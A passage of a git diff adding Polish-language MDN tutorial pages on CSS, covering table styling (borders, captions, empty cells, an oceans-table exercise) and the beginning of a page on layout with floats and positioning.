+<p>Nie używaj tabel w sposób, do którego nie zostały przeznaczone, na przykład aby tworzyć przy ich pomocy układ wizualny. Techniki opisane na poprzedniej stronie tego kursu (<a href="pl/CSS/Na_pocz%c4%85tek/Uk%c5%82ad">Układ</a>) nadają się do tego znacznie lepiej.</p>
+<h4 id="Struktura_tabeli" name="Struktura_tabeli">Struktura tabeli</h4>
+<p>W tabeli każdy kawałek informacji jest wyświetlany w <i>komórce</i>.</p>
+<p>Komórki wyświetlane w jednej linii tworzą <i>wiersz</i>.</p>
+<p>W niektórych tabelach wiersze mogą być grupowane. Specjalna grupa wierszy, która znajduje się na górze tabeli, nazywa się <i>nagłówkiem</i>. Specjalna grupa wierszy znajdująca się na dole tabeli nazywa się <i>stopką</i>. Główne wiersze w tabeli tworzą jej <i>ciało</i> i one również mogą być łączone w grupy.</p>
+<p>Komórki ułożone w pionowej linii tworzą <i>kolumnę</i>, ale użyteczność kolumn w tabelach CSS jest ograniczona.</p>
+<table style="border: 1px solid #36b; padding: 1em; background-color: #fffff4; width: 100%;">
+ <caption>
+ Przykład</caption>
+ <tbody>
+ <tr>
+ <td>Tabela selektorów znajdująca się na górze tej strony posiada dziesięć komórek i pięć wierszy.
+ <p>Pierwszy wiersz jest nagłówkiem. Kolejne cztery są ciałem tabeli. Nie posiada ona stopki.</p>
+ <p>Ma natomiast dwie kolumny.</p>
+ </td>
+ </tr>
+ </tbody>
+</table>
+<p><br>
+ Ten kurs omawia tylko proste tabele, dla których wynik jest przewidywalny. W prostej tabeli każda komórka zajmuje miejsce w jednym wierszu i jednej kolumnie. Możesz skorzystać z CSS-u do złożonych tabel, gdzie komórki rozciągają się na więcej niż jeden wiersz lub kolumnę, ale tego typu tabele wykraczają poza zakres tego kursu.</p>
+<h4 id="Ramki" name="Ramki">Ramki</h4>
+<p>Komórki nie posiadają marginesów zewnętrznych.</p>
+<p>Komórki posiadają ramki oraz marginesy wewnętrzne. Domyślnie ramki są oddzielone o wartość własności <code>border-spacing</code> tabeli. Możesz usunąć całkowicie odstępy przez ustawienie własności <code>border-collapse</code> tabeli na wartość <code>collapse</code>.</p>
+<table style="border: 1px solid #36b; padding: 1em; background-color: #fffff4; width: 100%;">
+ <caption>
+ Przykład</caption>
+ <tbody>
+ <tr>
+ <td>Poniżej widać trzy tabele.
+ <p>Tabela po lewej ma ustawione odstępy ramek na 0.5 em. Tabela w środku ma ustawione odstępy ramek na zero. Tabela po prawej ma zwinięte ramki:</p>
+ <table style="border: 2px outset #36b; padding: 1em; background-color: white;">
+ <tbody>
+ <tr>
+ <td style="padding-right: 2em;">
+ <table style="">
+ <tbody>
+ <tr>
+ <td style="border: 1px solid #c00; text-align: center;">Clubs</td>
+ <td style="border: 1px solid #c00; text-align: center;">Hearts</td>
+ </tr>
+ <tr>
+ <td style="border: 1px solid #c00; text-align: center;">Diamonds</td>
+ <td style="border: 1px solid #c00; text-align: center;">Spades</td>
+ </tr>
+ </tbody>
+ </table>
+ </td>
+ <td style="padding-right: 2em;">
+ <table style="">
+ <tbody>
+ <tr>
+ <td style="border: 1px solid #c00; text-align: center;">Clubs</td>
+ <td style="border: 1px solid #c00; text-align: center;">Hearts</td>
+ </tr>
+ <tr>
+ <td style="border: 1px solid #c00; text-align: center;">Diamonds</td>
+ <td style="border: 1px solid #c00; text-align: center;">Spades</td>
+ </tr>
+ </tbody>
+ </table>
+ </td>
+ <td style="padding-right: 6em;">
+ <table style="border-collapse: collapse;">
+ <tbody>
+ <tr>
+ <td style="border: 1px solid #c00; text-align: center;">Clubs</td>
+ <td style="border: 1px solid #c00; text-align: center;">Hearts</td>
+ </tr>
+ <tr>
+ <td style="border: 1px solid #c00; text-align: center;">Diamonds</td>
+ <td style="border: 1px solid #c00; text-align: center;">Spades</td>
+ </tr>
+ </tbody>
+ </table>
+ </td>
+ </tr>
+ </tbody>
+ </table>
+ </td>
+ </tr>
+ </tbody>
+</table>
+<h4 id="Opis" name="Opis">Opis</h4>
+<p><i>Opis</i> jest etykietą opisującą całą tabelę. Domyślnie jest wyświetlana nad tabelą.</p>
+<p>Aby przesunąć opis na dół, ustaw jego własność <code>caption-side</code> na <code>bottom</code>. Ta własność jest dziedziczona, więc możesz ją ustawić dla całej tabeli lub innego rodzica.</p>
+<p>Aby ustawić styl tekstu opisu, użyj normalnych własności tekstowych.</p>
+<table style="border: 1px solid #36b; padding: 1em; background-color: #fffff4; width: 100%;">
+ <caption>
+ Przykład</caption>
+ <tbody>
+ <tr>
+ <td>Ta tabela posiada opis na dole:
+ <div style="width: 30em;">
+ <ol>
+ <li>demo-table &gt; caption {</li>
+ </ol>
+ <pre class="eval">
+ caption-side: bottom;
+ font-style: italic;
+ text-align: right;
+ }
+</pre>
+ </div>
+ <table style="border: 2px outset #36b; padding: 1em 6em 1em 1em; background-color: white;">
+ <tbody>
+ <tr>
+ <td>
+ <table>
+ <caption>
+ Suits</caption>
+ <tbody>
+ <tr>
+ <td>
+ <table style="border-collapse: collapse;">
+ <tbody>
+ <tr>
+ <td style="border: 1px solid gray; text-align: center;">Clubs</td>
+ <td style="border: 1px solid gray; text-align: center;">Hearts</td>
+ </tr>
+ <tr>
+ <td style="border: 1px solid gray; text-align: center;">Diamonds</td>
+ <td style="border: 1px solid gray; text-align: center;">Spades</td>
+ </tr>
+ </tbody>
+ </table>
+ </td>
+ </tr>
+ </tbody>
+ </table>
+ </td>
+ </tr>
+ </tbody>
+ </table>
+ </td>
+ </tr>
+ </tbody>
+</table>
+<h4 id="Puste_kom.C3.B3rki" name="Puste_kom.C3.B3rki">Puste komórki</h4>
+<p>Możesz wyświetlić puste komórki (czyli ich ramki oraz tło) przez określenie <code>empty-cells: show;</code> dla elementu tabeli.</p>
+<p>Możesz je ukryć, określając <code>empty-cells: hide;</code>. Wtedy jeżeli element rodzic komórki posiada tło, zostanie ono pokazane w miejscu pustej komórki.</p>
+<table style="border: 1px solid #36b; padding: 1em; background-color: #fffff4; width: 100%;">
+ <caption>
+ Przykład</caption>
+ <tbody>
+ <tr>
+ <td>Poniższe tabele mają jasnozielone tło. Ich komórki mają tło jasnoszare i ciemnoszare ramki.
+ <p>W lewej tabeli puste komórki są wyświetlane, w prawej ukrywane:</p>
+ <table style="border: 2px outset #36b; padding: 1em; background-color: white;">
+ <tbody>
+ <tr>
+ <td style="padding-right: 2em;">
+ <table style="background-color: #dfd;">
+ <tbody>
+ <tr>
+ <td style="border: 1px solid #555; background-color: #eee;"> </td>
+ <td style="border: 1px solid #555; background-color: #eee; text-align: center;">Hearts</td>
+ </tr>
+ <tr>
+ <td style="border: 1px solid #555; background-color: #eee; text-align: center;">Diamonds</td>
+ <td style="border: 1px solid #555; background-color: #eee; text-align: center;">Spades</td>
+ </tr>
+ </tbody>
+ </table>
+ </td>
+ <td style="padding-right: 6em;">
+ <table style="background-color: #dfd;">
+ <tbody>
+ <tr>
+ <td> </td>
+ <td style="border: 1px solid #555; background-color: #eee; text-align: center;">Hearts</td>
+ </tr>
+ <tr>
+ <td style="border: 1px solid #555; background-color: #eee; text-align: center;">Diamonds</td>
+ <td style="border: 1px solid #555; background-color: #eee; text-align: center;">Spades</td>
+ </tr>
+ </tbody>
+ </table>
+ </td>
+ </tr>
+ </tbody>
+ </table>
+ </td>
+ </tr>
+ </tbody>
+</table>
+<p> </p>
+<table style="border: 1px solid #36b; padding: 1em; background-color: #f4f4f4; margin-bottom: 1em;">
+ <caption>
+ Więcej szczegółów</caption>
+ <tbody>
+ <tr>
+ <td>Aby dowiedzieć się więcej o tabelach, zajrzyj do rozdziału <a class="external" href="http://www.w3.org/TR/CSS21/tables.html">Tabele</a> w specyfikacji CSS.
+ <p>Informacje tam zawarte wykraczają poza ten kurs, ale nie opisują różnic miedzy przeglądarkami, które mogą wpływać na wyświetlanie złożonych tabel.</p>
+ </td>
+ </tr>
+ </tbody>
+</table>
+<h3 id="Zadanie:_Ustawianie_styl.C3.B3w_dla_tabeli" name="Zadanie:_Ustawianie_styl.C3.B3w_dla_tabeli">Zadanie: Ustawianie stylów dla tabeli</h3>
+<p>Stwórz nowy dokument HTML, <code>doc3.html</code>. Skopiuj i wklej poniższy kod, upewniając się, że zaznaczasz całą zawartość:</p>
+<div style="width: 48em; height: 12em; overflow: auto;">
+ <pre>&lt;DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0//EN"&gt;
+&lt;HTML&gt;
+&lt;HEAD&gt;
+&lt;TITLE&gt;Przykładowy dokument 3&lt;/TITLE&gt;
+&lt;LINK rel="stylesheet" type="text/css" href="style3.css"&gt;
+&lt;/HEAD&gt;
+&lt;BODY&gt;
+
+&lt;TABLE id="demo-table"&gt;
+&lt;CAPTION&gt;Oceans&lt;/CAPTION&gt;
+
+&lt;THEAD&gt;
+&lt;TR&gt;
+&lt;TH&gt;&lt;/TH&gt;
+&lt;TH&gt;Area&lt;/TH&gt;
+&lt;TH&gt;Mean depth&lt;/TH&gt;
+&lt;/TR&gt;
+&lt;TR&gt;
+&lt;TH&gt;&lt;/TH&gt;
+&lt;TH&gt;million km&lt;SUP&gt;2&lt;/SUP&gt;&lt;/TH&gt;
+&lt;TH&gt;m&lt;/TH&gt;
+&lt;/TR&gt;
+&lt;/THEAD&gt;
+
+&lt;TBODY&gt;
+&lt;TR&gt;
+&lt;TH&gt;Arctic&lt;/TH&gt;
+&lt;TD&gt;13,000&lt;/TD&gt;
+&lt;TD&gt;1,200&lt;/TD&gt;
+&lt;/TR&gt;
+&lt;TR&gt;
+&lt;TH&gt;Atlantic&lt;/TH&gt;
+&lt;TD&gt;87,000&lt;/TD&gt;
+&lt;TD&gt;3,900&lt;/TD&gt;
+&lt;/TR&gt;
+&lt;TR&gt;
+&lt;TH&gt;Pacific&lt;/TH&gt;
+&lt;TD&gt;180,000&lt;/TD&gt;
+&lt;TD&gt;4,000&lt;/TD&gt;
+&lt;/TR&gt;
+&lt;TR&gt;
+&lt;TH&gt;Indian&lt;/TH&gt;
+&lt;TD&gt;75,000&lt;/TD&gt;
+&lt;TD&gt;3,900&lt;/TD&gt;
+&lt;/TR&gt;
+&lt;TR&gt;
+&lt;TH&gt;Southern&lt;/TH&gt;
+&lt;TD&gt;20,000&lt;/TD&gt;
+&lt;TD&gt;4,500&lt;/TD&gt;
+&lt;/TR&gt;
+&lt;/TBODY&gt;
+
+&lt;TFOOT&gt;
+&lt;TR&gt;
+&lt;TH&gt;Total&lt;/TH&gt;
+&lt;TD&gt;361,000&lt;/TD&gt;
+&lt;TD&gt;&lt;/TD&gt;
+&lt;/TR&gt;
+&lt;TR&gt;
+&lt;TH&gt;Mean&lt;/TH&gt;
+&lt;TD&gt;72,000&lt;/TD&gt;
+&lt;TD&gt;3,800&lt;/TD&gt;
+&lt;/TR&gt;
+&lt;/TFOOT&gt;
+
+&lt;/TABLE&gt;
+
+&lt;/BODY&gt;
+&lt;/HTML&gt;
+</pre>
+</div>
+<p>Stwórz nowy arkusz stylów, <code>style3.css</code>. Skopiuj i wklej poniższy kod, upewniając się, że zaznaczasz cały:</p>
+<div style="width: 48em; height: 12em; overflow: auto;">
+ <pre>/*** Styl dla doc3.html (Tabele) ***/
+
+#demo-table {
+ font: 100% sans-serif;
+ background-color: #efe;
+ border-collapse: collapse;
+ empty-cells: show;
+ border: 1px solid #7a7;
+ }
+
+#demo-table &gt; caption {
+ text-align: left;
+ font-weight: bold;
+ font-size: 200%;
+ border-bottom: .2em solid #4ca;
+ margin-bottom: .5em;
+ }
+
+
+/* basic shared rules */
+#demo-table th,
+#demo-table td {
+ text-align: right;
+ padding-right: .5em;
+ }
+
+#demo-table th {
+ font-weight: bold;
+ padding-left: .5em;
+ }
+
+
+/* header */
+#demo-table &gt; thead &gt; tr:first-child &gt; th {
+ text-align: center;
+ color: blue;
+ }
+
+#demo-table &gt; thead &gt; tr + tr &gt; th {
+ font-style: italic;
+ color: gray;
+ }
+
+/* fix size of superscript */
+#demo-table sup {
+ font-size: 75%;
+ }
+
+/* body */
+#demo-table td {
+ background-color: #cef;
+ padding:.5em .5em .5em 3em;
+ }
+
+#demo-table tbody th:after {
+ content: ":";
+ }
+
+
+/* footer */
+#demo-table tfoot {
+ font-weight: bold;
+ }
+
+#demo-table tfoot th {
+ color: blue;
+ }
+
+#demo-table tfoot th:after {
+ content: ":";
+ }
+
+#demo-table &gt; tfoot td {
+ background-color: #cee;
+ }
+
+#demo-table &gt; tfoot &gt; tr:first-child td {
+ border-top: .2em solid #7a7;
+ }
+</pre>
+</div>
+<p>Otwórz dokument w swojej przeglądarce. Powinien wyglądać mniej więcej tak:</p>
+<table style="border: 2px outset #36b; padding: 1em 6em 1em 1em; background-color: white;">
+ <tbody>
+ <tr>
+ <td>
+ <div>
+ <p style="font: bold 200% sans-serif; text-align: left; border-bottom: .2em solid #4ca; margin: 0px 0px .5em 0px;">Oceans</p>
+ <div style="border: 1px solid #7a7; background-color: #efe;">
+ <table style="font: 100% sens-serif; background-color: #efe; border-collapse: collapse; text-align: right; padding-right: .5em;">
+ <tbody>
+ <tr style="text-align: center; color: blue;">
+ <th> </th>
+ <th>Area</th>
+ <th style="padding-left: .5em; padding-right: .5em;">Mean depth</th>
+ </tr>
+ <tr style="font-style: italic; color: gray;">
+ <th> </th>
+ <th style="padding-left: .5em; padding-right: .5em;">million km<sup>2</sup></th>
+ <th style="padding-left: .5em; padding-right: .5em;">m</th>
+ </tr>
+ <tr>
+ <th style="padding-right: .5em;">Arctic:</th>
+ <td style="background-color: #cef; padding: .5em .5em .5em 3em;">13,000</td>
+ <td style="background-color: #cef; padding: .5em .5em .5em 3em;">1,200</td>
+ </tr>
+ <tr>
+ <th style="padding-right: .5em;">Atlantic:</th>
+ <td style="background-color: #cef; padding: .5em .5em .5em 3em;">87,000</td>
+ <td style="background-color: #cef; padding: .5em .5em .5em 3em;">3,900</td>
+ </tr>
+ <tr>
+ <th style="padding-right: .5em;">Pacific:</th>
+ <td style="background-color: #cef; padding: .5em .5em .5em 3em;">180,000</td>
+ <td style="background-color: #cef; padding: .5em .5em .5em 3em;">4,000</td>
+ </tr>
+ <tr>
+ <th style="padding-right: .5em;">Indian:</th>
+ <td style="background-color: #cef; padding: .5em .5em .5em 3em;">75,000</td>
+ <td style="background-color: #cef; padding: .5em .5em .5em 3em;">3,900</td>
+ </tr>
+ <tr>
+ <th style="padding-left: .5em; padding-right: .5em;">Southern:</th>
+ <td style="background-color: #cef; padding: .5em .5em .5em 3em;">20,000</td>
+ <td style="background-color: #cef; padding: .5em .5em .5em 3em;">4,500</td>
+ </tr>
+ <tr>
+ <th style="padding-right: .5em; color: blue;">Total:</th>
+ <td style="background-color: #cee; padding: .5em .5em .5em 3em; border-top: .2em solid #7a7;">361,000</td>
+ <td style="background-color: #cee; padding: .5em .5em .5em 3em; border-top: .2em solid #7a7;"> </td>
+ </tr>
+ <tr>
+ <th style="padding-right: .5em; color: blue;">Mean:</th>
+ <td style="background-color: #cee; padding: .5em .5em .5em 3em;">72,000</td>
+ <td style="background-color: #cee; padding: .5em .5em .5em 3em;">3,800</td>
+ </tr>
+ </tbody>
+ </table>
+ </div>
+ </div>
+ </td>
+ </tr>
+ </tbody>
+</table>
+<p>Porównaj reguły ze swojego arkusza stylów z wyświetloną tabelą, aby upewnić się, że rozumiesz działanie każdej reguły. Jeżeli napotkasz regułę, której nie rozumiesz, wykomentuj ją i odśwież okno przeglądarki, aby zobaczyć, co się stanie.</p>
+<p>Poniżej znajduje się kilka uwag dotyczących tej tabeli:</p>
+<ul>
+ <li>Opis znajduje się poza ramką tabeli.</li>
+ <li>Jeżeli masz określoną minimalną wielkość punktu, może to wpłynąć na indeks górny w km<sup>2</sup>.</li>
+ <li>Istnieją trzy puste komórki. Dwie z nich pozwalają na pokazanie tła tabeli. Trzecia posiada własne tło i górną ramkę.</li>
+ <li>Dwukropki zostały dodane przez arkusz stylów.</li>
+</ul>
+<p> </p>
+<table style="border: 1px solid #36b; padding: 1em; background-color: #fffff4; width: 100%;">
+ <caption>
+ Wyzwania</caption>
+ <tbody>
+ <tr>
+ <td>Zmień arkusz stylów tak, aby tabela wyglądała jak poniżej:
+ <table style="border: 2px outset #36b; padding: 1em 6em 1em 1em; background-color: white;">
+ <tbody>
+ <tr>
+ <td>
+ <div>
+ <div style="border: 1px solid #7a7; background-color: #efe;">
+ <table style="font: 100% sens-serif; background-color: #efe; border-collapse: collapse; text-align: right; padding-right: .5em;">
+ <tbody>
+ <tr style="text-align: center; color: blue;">
+ <th> </th>
+ <th>Area</th>
+ <th style="padding-left: .5em; padding-right: .5em;">Mean depth</th>
+ </tr>
+ <tr style="font-style: italic; color: gray;">
+ <th> </th>
+ <th style="padding-left: .5em; padding-right: .5em;">million km<sup>2</sup></th>
+ <th style="padding-left: .5em; padding-right: .5em;">m</th>
+ </tr>
+ <tr>
+ <th style="padding-right: .5em;">Arctic:</th>
+ <td style="background-color: #cef; padding: .5em .5em .5em 3em; border: 1px solid #7a7;">13,000</td>
+ <td style="background-color: #cef; padding: .5em .5em .5em 3em; border: 1px solid #7a7; border-right: 0px;">1,200</td>
+ </tr>
+ <tr>
+ <th style="padding-right: .5em;">Atlantic:</th>
+ <td style="background-color: #cef; padding: .5em .5em .5em 3em; border: 1px solid #7a7;">87,000</td>
+ <td style="background-color: #cef; padding: .5em .5em .5em 3em; border: 1px solid #7a7; border-right: 0px;">3,900</td>
+ </tr>
+ <tr>
+ <th style="padding-right: .5em;">Pacific:</th>
+ <td style="background-color: #cef; padding: .5em .5em .5em 3em; border: 1px solid #7a7;">180,000</td>
+ <td style="background-color: #cef; padding: .5em .5em .5em 3em; border: 1px solid #7a7; border-right: 0px;">4,000</td>
+ </tr>
+ <tr>
+ <th style="padding-right: .5em;">Indian:</th>
+ <td style="background-color: #cef; padding: .5em .5em .5em 3em; border: 1px solid #7a7;">75,000</td>
+ <td style="background-color: #cef; padding: .5em .5em .5em 3em; border: 1px solid #7a7; border-right: 0px;">3,900</td>
+ </tr>
+ <tr>
+ <th style="padding-left: .5em; padding-right: .5em;">Southern:</th>
+ <td style="background-color: #cef; padding: .5em .5em .5em 3em; border: 1px solid #7a7;">20,000</td>
+ <td style="background-color: #cef; padding: .5em .5em .5em 3em; border: 1px solid #7a7; border-right: 0px;">4,500</td>
+ </tr>
+ <tr>
+ <th style="padding-right: .5em; color: blue;">Total:</th>
+ <td style="background-color: #cee; padding: .5em .5em .5em 3em; border-top: .2em solid #7a7;">361,000</td>
+ <td style="background-color: #cee; padding: .5em .5em .5em 3em; border-top: .2em solid #7a7;"> </td>
+ </tr>
+ <tr>
+ <th style="padding-right: .5em; color: blue;">Mean:</th>
+ <td style="background-color: #cee; padding: .5em .5em .5em 3em;">72,000</td>
+ <td style="background-color: #cee; padding: .5em .5em .5em 3em;">3,800</td>
+ </tr>
+ </tbody>
+ </table>
+ </div>
+ <p style="font: italic 100% sans-serif; text-align: right; border-top: .4em solid #4ca; margin: 1em 0px 0px 0px;">Oceans</p>
+ </div>
+ </td>
+ </tr>
+ </tbody>
+ </table>
+ </td>
+ </tr>
+ </tbody>
+</table>
+<p> </p>
+<h4 id="Co_dalej.3F" name="Co_dalej.3F">Co dalej?</h4>
+<p>Jeżeli masz problemy ze zrozumieniem tej strony albo chcesz ją skomentować, pomóż nam, dopisując się na stronie <a>Dyskusji</a>.</p>
+<p>Jest to ostatnia strona tego kursu, która opisuje własności i wartości CSS. Aby dowiedzieć się więcej o własnościach i wartościach w CSS, zajrzyj na stronę <a class="external" href="http://www.w3.org/TR/CSS21/propidx.html">Full property table</a> w specyfikacji CSS.</p>
+<p>Następna strona znowu wraca do tematu przeznaczenia i struktury arkuszy stylów CSS: <b><a href="pl/CSS/Na_pocz%c4%85tek/Media">Media</a></b></p>
diff --git a/files/pl/web/css/na_początek/układ/index.html b/files/pl/web/css/na_początek/układ/index.html
new file mode 100644
index 0000000000..9499cdcdcd
--- /dev/null
+++ b/files/pl/web/css/na_początek/układ/index.html
@@ -0,0 +1,274 @@
+---
+title: Układ
+slug: Web/CSS/Na_początek/Układ
+tags:
+ - 'CSS:Na_początek'
+translation_of: Learn/CSS/CSS_layout
+---
+<p>
+</p><p>Ta strona opisuje kilka sposobów na modyfikację układu dokumentu.
+</p><p>Nauczysz się zmieniać układ przykładowego dokumentu...
+</p>
+<h3 id="Informacja:_Uk.C5.82ad" name="Informacja:_Uk.C5.82ad"> Informacja: Układ </h3>
+<p>Możesz użyć CSS-u do określenia wielu efektów wizualnych, które zmieniają układ Twojego dokumentu.
+Niektóre z technik tworzenia układu są bardziej zaawansowane, wykraczające poza zakres podstawowego kursu.
+</p><p>Kiedy modelujesz układ strony, który ma wyglądać podobnie w wielu przeglądarkach, Twój arkusz stylów łączy się z domyślnym arkuszem stylów przeglądarki oraz silnikiem układu stron w sposób, który może być bardzo złożony.
+To także wykracza poza zakres tego kursu.
+</p><p>Ta strona opisuje proste techniki, których możesz spróbować.
+</p>
+<h4 id="Struktura_dokumentu" name="Struktura_dokumentu"> Struktura dokumentu </h4>
+<p>Jeżeli chcesz kontrolować układ dokumentu, być może będziesz musiał(a) zmienić jego strukturę.
+</p><p>Język składni Twojego dokumentu może posiadać znaczniki ogólnego przeznaczenia do tworzenia struktury.
+Na przykład w HTML-u możesz użyć znacznika <code>DIV</code> do tworzenia struktury.
+</p>
+<table style="border: 1px solid #36b; padding: 1em; background-color: #fffff4; margin-bottom: 1em;">
+<caption>Przykład
+</caption><tbody><tr>
+<td> W Twoim przykładowym dokumencie ponumerowane paragrafy pod drugim nagłówkiem nie mają własnego kontenera.
+<p>Twój arkusz stylów nie może narysować ramki wokół tych paragrafów, ponieważ nie istnieje element, dla którego można stworzyć selektor.
+</p><p>Aby poprawić ten problem strukturalny, możesz dodać znacznik <code>DIV</code> wokół paragrafów.
+Ten znacznik jest unikalny, zatem można go identyfikować przez atrybut <code>id</code>.
+</p>
+<div style="width: 40em; color: gray;">
+<pre class="eval"> &lt;H3 class="numbered"&gt;Numbered paragraphs&lt;/H3&gt;
+ <strong style="color: black;">&lt;DIV id="numbered"&gt;</strong>
+ &lt;P class="numbered"&gt;Lorem ipsum&lt;/P&gt;
+ &lt;P class="numbered"&gt;Dolor sit&lt;/P&gt;
+ &lt;P class="numbered"&gt;Amet consectetuer&lt;/P&gt;
+ &lt;P class="numbered"&gt;Magna aliquam&lt;/P&gt;
+ &lt;P class="numbered"&gt;Autem veleum&lt;/P&gt;
+ <strong style="color: black;">&lt;/DIV&gt;</strong>
+</pre>
+</div>
+<p>Teraz Twój arkusz stylów może używać jednej reguły do określania ramek wokół obu list:
+</p>
+<div style="width: 30em;">
+<pre class="eval"> ul, #numbered {
+ border: 1em solid #69b;
+ padding-left:1em;
+ }
+</pre>
+</div>
+<p>Wynik wygląda tak:
+</p>
+<table style="border: 2px outset #36b; padding: 1em; width: 30em; background-color: white;">
+<tbody><tr>
+<td><p style="font-weight: bold; font-size: 133%; margin-bottom: .3em; padding-top: .4em; padding-bottom: .16em; border-top: 1px solid gray;">(A) The oceans</p>
+<div style="border: 12px solid #69b; margin-bottom: 16px; padding: 1em;"> <ul style=""> <li>Arctic</li> <li>Atlantic</li> <li>Pacific</li> <li>Indian</li> <li>Southern</li> </ul>
+</div>
+<p style="font-weight: bold; font-size: 133%; margin-bottom: .3em; padding-top: .4em; padding-bottom: .16em; border-top: 1px solid gray;">(B) Numbered paragraphs</p>
+<div style="border: 12px solid #69b; margin-bottom: 8px; padding: 0px 12em 0px .5em;"> <p><b>1: </b>Lorem ipsum</p> <p><b>2: </b>Dolor sit</p> <p><b>3: </b>Amet consectetuer</p> <p><b>4: </b>Magna aliquam</p> <p><b>5: </b>Autem veleum</p>
+</div>
+</td></tr></tbody></table>
+</td></tr></tbody></table>
+<h4 id="Jednostki_rozmiaru" name="Jednostki_rozmiaru"> Jednostki rozmiaru </h4>
+<p>Dotychczas w tym kursie określałeś(aś) rozmiary w pikselach (<code>px</code>).
+Jest to rozsądny wybór w pewnych przypadkach, dla wyświetlaczy takich jak monitor komputera.
+Jednak jeżeli użytkownik zmieni rozmiar kroju, Twój układ może przestać wyglądać dobrze.
+</p><p>W wielu wypadkach lepiej jest określać rozmiary w procentach lub jednostkach ems (<code>em</code>).
+Em jest nominalnym rozmiarem aktualnego kroju (szerokość litery m).
+Kiedy użytkownik zmienia rozmiar kroju, Twój układ dostosuje się automatycznie.
+</p>
+<table style="border: 1px solid #36b; padding: 1em; background-color: #fffff4; margin-bottom: 1em;">
+<caption>Przykład
+</caption><tbody><tr>
+<td> Ramka po lewej stronie tego tekstu ma rozmiary określony w pikselach.
+<p>Ramka po prawej ma rozmiar określony w ems.
+</p><p>Zmień teraz rozmiary kroju w swojej przeglądarce, aby zobaczyć, jak ramka po prawej dopasowuje się do rozmiaru, a jak zachowa się ramka po lewej:
+</p>
+<table style="border: 2px outset #36b; padding: 1em; background-color: white;">
+<tbody><tr>
+<td><div style="">ZMIEŃ MÓJ ROZMIAR</div>
+</td></tr></tbody></table>
+</td></tr></tbody></table>
+<table style="border: 1px solid #36b; padding: 1em; background-color: #f4f4f4; margin-bottom: 1em;">
+<caption>Więcej szczegółów
+</caption><tbody><tr>
+<td> Dla innych urządzeń najlepiej stosować inne jednostki miar.
+<p>Więcej informacji na ten temat znajdziesz na dalszych stronach tego kursu.
+</p><p>Aby dowiedzieć się więcej na temat wartości i jednostek, których możesz użyć, zobacz stronę <a class="external" href="http://www.w3.org/TR/CSS21/syndata.html#values">Wartości</a> na stronach specyfikacji CSS.
+</p>
+</td></tr></tbody></table>
+<h4 id="Uk.C5.82ad_tekstu" name="Uk.C5.82ad_tekstu"> Układ tekstu </h4>
+<p>Układ treści dokumentu jest określany przez dwie własności.
+Możesz ich użyć, aby wstępnie określić układ:
+</p>
+<ul><li><code>text-align</code>
+</li></ul>
+<dl><dd>Określa położenie treści. Wybierz jedną z wartości: <code>left</code>, <code>right</code>, <code>center</code>, <code>justify</code>
+</dd></dl>
+<ul><li><code>text-indent</code>
+</li></ul>
+<dl><dd>Tworzy odstęp dla treści o określoną wartość.
+</dd></dl>
+<p>Te własności dotyczą wszelkiej treści tekstowej w elemencie, nie tylko tekstu.
+Pamiętaj też, że są one dziedziczone przez elementy dzieci, zatem będzie trzeba bezpośrednio wyłączyć je dla dzieci, aby uniknąć dziwnych rezultatów.
+</p>
+<table style="border: 1px solid #36b; padding: 1em; background-color: #fffff4; margin-bottom: 1em;">
+<caption>Przykład
+</caption><tbody><tr>
+<td> Aby wycentrować nagłówki:
+<div style="width: 30em;">
+<pre class="eval"> h3 {
+ border-top: 1px solid gray;
+ text-align: center;
+ }
+</pre>
+</div>
+<p>Wynik:
+</p>
+<table style="border: 2px outset #36b; padding: 1em; width: 30em; background-color: white;">
+<tbody><tr>
+<td><p style="font-weight: bold; font-size: 133%; margin-bottom: .3em; padding-top: .4em; padding-bottom: .16em; border-top: 1px solid gray; text-align: center;">(A) The oceans</p>
+</td></tr></tbody></table>
+<p>W dokumencie HTML treść wyświetlana pod nagłówkiem nie jest strukturalnie przynależna do nagłówka.
+Zatem kiedy określasz nagłówek w taki sposób, znaczniki poniżej nagłówka nie dziedziczą stylu.
+</p>
+</td></tr></tbody></table>
+<h4 id="P.C5.82ywanie_.28Floats.29" name="P.C5.82ywanie_.28Floats.29"> Pływanie (Floats) </h4>
+<p>Własność <code>float</code> wymusza umieszczenie elementu po lewej lub prawej.
+Jest to prosty sposób, aby kontrolować jego położenie i rozmiar.
+</p><p>Reszta dokumentu opływa wybrany element.
+Możesz to kontrolować, używając własności <code>clear</code> na innych elementach, aby sprawić, by nie opływały elementów posiadających określony <code>float</code>.
+</p>
+<table style="border: 1px solid #36b; padding: 1em; background-color: #fffff4; margin-bottom: 1em;">
+<caption>Przykład
+</caption><tbody><tr>
+<td>W Twoim przykładowym dokumencie listy są rozciągnięte na szerokość okna. Możesz tego uniknąć, przyklejając je do lewej strony.
+<p>Aby zachować nagłówki w jednym miejscu, musisz też określić, że mają ignorować opływanie po lewej:
+</p>
+<div style="width: 30em;">
+<pre class="eval"> ul, #numbered {float: left;}
+ h3 {clear: left;}
+</pre>
+</div>
+<p>Rezultat wygląda tak:
+</p>
+<table style="border: 2px outset #36b; padding: 1em; width: 30em; background-color: white;">
+<tbody><tr>
+<td><p style="font-weight: bold; font-size: 133%; margin-bottom: .3em; padding-top: .4em; padding-bottom: .16em; border-top: 1px solid gray;">(A) The oceans</p>
+<div style="float: left; border: 12px solid #69b; margin-bottom: 16px; padding-left: 1em;"> <ul style=""> <li>Arctic</li> <li>Atlantic</li> <li>Pacific</li> <li>Indian</li> <li>Southern</li> </ul>
+</div>
+<p style="font-weight: bold; font-size: 133%; margin-bottom: .3em; padding-top: .4em; padding-bottom: .16em; border-top: 1px solid gray;">(B) Numbered paragraphs</p>
+<div style="float: left; border: 12px solid #69b; margin-bottom: 8px; padding-left: .5em;"> <p><b>1: </b>Lorem ipsum</p> <p><b>2: </b>Dolor sit</p> <p><b>3: </b>Amet consectetuer</p> <p><b>4: </b>Magna aliquam</p> <p><b>5: </b>Autem veleum</p>
+</div>
+</td></tr></tbody></table>
+<p>(Mały margines wewnętrzny jest potrzebny po prawej stronie bloków, gdzie ramka jest za blisko tekstu.)
+</p>
+</td></tr></tbody></table>
+<h4 id="Pozycjonowanie" name="Pozycjonowanie"> Pozycjonowanie </h4>
+<p>Możesz określić pozycję elementu na cztery sposoby poprzez określenie własności <code>position</code> oraz podanie jednej z następujących wartości.
+</p><p>Są to własności zaawansowane.
+Można ich używać w prosty sposób — dlatego są tutaj wymienione.
+Jednak korzystanie z nich w bardziej złożony sposób może być skomplikowane.
+</p>
+<ul><li><code>relative</code>
+</li></ul>
